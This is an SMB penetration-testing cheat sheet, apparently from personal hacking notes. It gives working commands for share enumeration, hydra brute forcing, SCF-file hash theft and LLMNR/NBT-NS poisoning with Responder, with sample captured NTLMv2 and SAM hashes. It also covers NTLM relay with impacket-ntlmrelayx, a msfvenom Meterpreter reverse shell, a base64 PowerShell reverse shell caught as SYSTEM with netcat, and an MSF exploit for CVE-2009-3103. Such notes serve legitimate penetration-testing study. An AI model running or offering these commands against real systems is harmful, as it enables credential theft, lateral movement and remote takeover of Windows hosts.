139,445 - SMB

Usage

# Download all files without prompting
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

# Mount a share (no authentication)
sudo mount -t cifs //10.10.10.10/target-share /mnt
sudo mount -t cifs - "username='',password=''" //10.10.10.10/my_share /mnt

# Mount a share (with authentication)
sudo mount -t cifs -o username=x7331,password=Pass123! //10.10.10.10/my_share /path/to/mount

Enumeration

enum4linux-ng is a Python rewrite of the original enum4linux.pl, designed to automate information gathering from Windows and Samba systems. It wraps around nmblookup, net, rpcclient, and smbclient to extract usernames, groups, shares, domain details, and password policies, providing structured output that accelerates Active Directory and SMB reconnaissance.

enum4linux-ng 172.16.10.3

impacket-samrdump uses the SAMR protocol to enumerate users, groups, and policy data from Windows or domain controllers. By leveraging Impacket, it exposes domain account structures without requiring administrative privileges, making it effective for mapping Active Directory environments and identifying potential escalation paths.

impacket-samrdump 172.16.10.3

Attacks

Passwords

# BFA with wordlists
hydra -L <user-list> -P <pass-list> smb://<target-ip>

# BFA a target user
hydra -l <username> -P <pass-list> smb://<target-ip>

Hashes

All described methods (SCF, LNK, SC) require WRITE access to a share/directory:

  • If WRITE access to a share is available, NetExec modules can be used for automation.

  • If WRITE access is only available within a READABLE share, the process must be done manually.

For stealing the hash, the user must only browse the share, not interact with the file.

The Shell Command File (SCF) is a Windows file format used to define simple Explorer shell commands — kind of like shortcuts, but more primitive (read more here).

# Create the SCF file
nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip>

Monitor the traffic (MSF's auxiliary/server/capture/smb can also be used):

sudo responder -I tun0

Clean up:

nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip> CLEANUP=True

If a share is locally mounted and WRITE access is available for the SMB/Users/WritableDir folder, but not for the Users share, we can create an SCF file:

[Shell]
Command=2
IconFile=\\10.10.10.10\share\test.io
[Taskbar]
Command=ToggleDesktop

Listen:

sudo responder -I tun0

Transfer the SCF file to the writable directory:

sudo cp example.scf SMB/Users/WritableDir

Once a hash is obtained it can be cracked or relayed.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou

NTLM Relay

Relay for gaining RCE with a Meterpreter listener:

# Enumerate the target hosts
nxc smb 172.16.10.0/24 --gen-relay-list relay.txt

# Create a reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f exe > shell.exe

# Start the SMB server
sudo impacket-ntlmrelayx -tf relay.txt -e ./shell.exe

# Start the listener
$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker-ip>; set
LPORT 4444; exploit -j"

# Migrate
meterpreter > ps
meterpreter > migrate <PID>

Forced Authentication

The goal here is to abuse name-resolution protocols and SMB to capture NetNTLM (v1/v2) authentication material from Windows hosts, then either crack those hashes or relay them to escalate privileges.

When a Windows host resolves a hostname (for example \\mysharedfolder\), it follows roughly this order:

  1. Hosts fileC:\Windows\System32\Drivers\etc\hosts.

  2. Local DNS cache — answers from recently resolved names.

  3. Configured DNS server — the domain or DHCP-assigned DNS.

  4. Multicast name resolution — protocols like LLMNR, NBT-NS, and mDNS. This queries other devices on the same network segment.

If earlier steps fail (e.g., the user mistyped \\mysharefoder instead of \\mysharedfolder), the multicast queries are broadcast. Attackers on the same network can respond and impersonate the requested service. This is because multicast resolution protocols do not validate the authenticity of responses — they trust the first valid reply received.

We can use responder to listen for LLMNR / NBT-NS / mDNS name resolution requests and poison responses to claim names being requested by victims. Responder will reply to multicast name queries and pretend to be the target service (SMB, HTTP, etc.), causing the victim to attempt authentication to the attacker's host.

# Launch responder
$ sudo responder -I ens33

[+] Current Session Variables:                                                     
    Responder Machine Name     [WIN-2TY1Z1CIGXH]   
    Responder Domain Name      [HF2L.LOCAL]                                        
    Responder DCE-RPC Port     [48162] 

[+] Listening for events... 

[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[*] [LLMNR]  Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997...<SNIP>...000

Captured hashes are stored in Responder's logs directory (commonly /usr/share/responder/logs/).

If you notice multiple hashes for one acc this is because NTLMv2 utilises both a client-side and server-side challenge that is randomized for each interaction. This makes it so the resulting hashes that are sent are salted with a randomized string of numbers. This is why the hashes don't match but still represent the same password.

Two common options after capturing NetNTLM responses:

  1. Crack the hash (offline) using a cracking tool such as hashcat to attempt to recover the password from the captured NetNTLM challenge/response.

$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

ADMINISTRATOR::WIN-487IMQOIA8E:997...<SNIP>...000:P@ssword
  1. Relay the authentication (live) - forward the captured authentication attempt to another target that will accept NTLM authentication (NTLM relay). Tools like impacket-ntlmrelayx can automate this. If using Responder to capture but relaying with impacket, disable Responder's SMB listener so it does not interfere with relaying.

# Disable Responder's SMB listener
$ cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off

impacket-ntlmrelayx will dump the SAM by default, but commands can be executed via the -c flag:

# Relay the credentials to another host
$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
<SNIP>

[*] Servers started, waiting for connections

[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED

<SNIP>

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>

We can create a PowerShell reverse shell using revshells and the Powershell #3 (Base64) payload:

$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JAB...<SNIP>...CkA'

Once the victim authenticates to our server, we poison the response and make it execute our command to catch the revshell:

$ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471

PS C:\Windows\system32> whoami;hostname

nt authority\system
WIN11BOX

Vulnerabilities

SMBv2 Negotiation

Windows Vista (Gold, SP1, SP2), Windows Server 2008 (Gold, SP2), and Windows 7 Release Candidate are affected by a RCE vulnerability (CVE-2009-3103), aka SMBv2 Negotiation Vulnerability, in the SMBv2 protocol implementation within srv2.sys, the kernel-mode driver responsible for SMBv2 handling in certain Microsoft Windows versions. A flaw in the processing of the Process ID High header field in a NEGOTIATE PROTOCOL REQUEST packet allows an attacker to trigger an array index error by supplying an ampersand (&) character. This malformed input leads to an out-of-bounds memory dereference in kernel space.

When exploited, it can result in either a denial of service through a system crash (blue screen) or, under certain conditions, arbitrary code execution with kernel-level privileges. The attack is conducted over TCP port 445 and does not require authentication, making it highly dangerous when SMBv2 services are exposed to untrusted networks.

A MSF module exists for exploiting the vulnerability.

 msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Last updated

Was this helpful?